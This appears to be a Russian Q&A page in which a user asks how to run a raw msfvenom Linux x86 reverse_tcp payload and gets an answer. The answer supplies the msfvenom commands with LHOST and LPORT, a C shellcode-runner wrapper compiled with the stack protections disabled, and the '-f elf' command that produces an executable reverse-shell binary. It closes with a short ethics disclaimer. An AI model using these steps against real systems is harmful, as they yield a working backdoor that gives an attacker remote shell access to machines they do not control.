Выполнение необработанного формата msfvenom

Вопрос или проблема

Я создал необработанный reverse_tcp payload в msfvenom без указания формата. Как это выполнить?

└─# msfvenom -p linux/x86/shell/reverse_tcp LHOST=192.168.0.253 LPORT=4445 -o pay
[-] Платформа не выбрана, выбирается Msf::Module::Platform::Linux из payload
[-] Архитектура не выбрана, выбирается архитектура: x86 из payload
Кодировщик не указан, вывод необработанного payload
Размер payload: 123 байта
Сохранено как: pay

└─# ./pay       
./pay: 1: j: не найдено
./pay: 2: Синтаксическая ошибка: незакрытая строка в кавычках

Пожалуйста, помогите, я туплю

Ответ или решение

Теория

При создании бэкдор-пейлоадов с помощью msfvenom, одной из самых распространенных ошибок является некорректное понимание фоматирования выходного файла и его последующего использования. Данный инструмент представляет собой мощное средство из арсенала Metasploit Framework, которое позволяет быстро и эффективно создавать полезные нагрузки (payloads) для эксплуатации уязвимостей в системах различной архитектуры и платформы.

В вашем случае вы создали полезную нагрузку для Linux с архитектурой x86 и параметрами reverse_tcp. Параметры LHOST и LPORT указывают соответственно на адрес хоста и порт, на который будет установлено обратное соединение. Однако вы не указали формат, в котором нужно сохранить пейлоад, и по умолчанию этот файл сохраняется как "сырой" бинарный код.

Такие "сырые" (raw) бинарные файлы не содержат заголовка и метаданных, необходимых для их исполнения в системах Linux. Это значит, что их нельзя напрямую исполнять, как обычные исполняемые файлы.

Пример

В результате выполнения команды вы получили следующее:

└─# msfvenom -p linux/x86/shell/reverse_tcp LHOST=192.168.0.253 LPORT=4445 -o pay
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 123 bytes
Saved as: pay

└─# ./pay       
./pay: 1: j: not found
./pay: 2: Syntax error: Unterminated quoted string

Ошибка, которую вы видите, указывает на то, что система пытается интерпретировать "сырой" бинарный файл как скрипт текста, что влечет за собой синтаксические ошибки и несоответствие ожиданиям в выполнении.

Применение

Для того чтобы правильно запустить созданный пейлоад, вам необходимо предпринять несколько дополнительных шагов:

  1. Создание заголовка ELF

    Вы должны упаковать ваш "сырой" пейлоад в ELF (Executable and Linkable Format) формат. Это можно сделать с использованием нескольких подходов, включая создание минимального ELF-исполняемого файла, который выполнит содержимое.

  2. Создание C-обертки

    Один из простых методов — это создание C-программы, которая имеет встроенный ваш "сырой" пейлоад, обернутый в массив и вызываемый с помощью указателей.

    Пример кода на языке C:

    #include <stdio.h>
    #include <string.h>
    
    unsigned char code[] = <ваш-пейлоад-в-виде-массива>;
    
    int main() {
       int (*ret)() = (int(*)())code;
       ret();
    }

    Компиляция:

    gcc -fno-stack-protector -z execstack shellcode.c -o shellcode

    После этого копмиллируйте и запустите сущность, которая исполняет ваш пейлоад.

  3. Использование пакета msfvenom

    При создании полезной нагрузки можно сразу сгенерировать ELF-файл:

    msfvenom -p linux/x86/shell/reverse_tcp LHOST=192.168.0.253 LPORT=4445 -f elf -o payload.elf

    Затем вы можете выполнить его обычным способом:

    ./payload.elf

Один из этих методов позволит вам корректно использовать созданный пейлоад в исполняемой форме. Важно иметь в виду, что использование подобных инструментов должно осуществляться с соблюдением всех этических норм и правил безопасности, и только в целях обучения или тестирования собственных систем на устойчивость к атакам.

Оцените материал
Добавить комментарий

Капча загружается...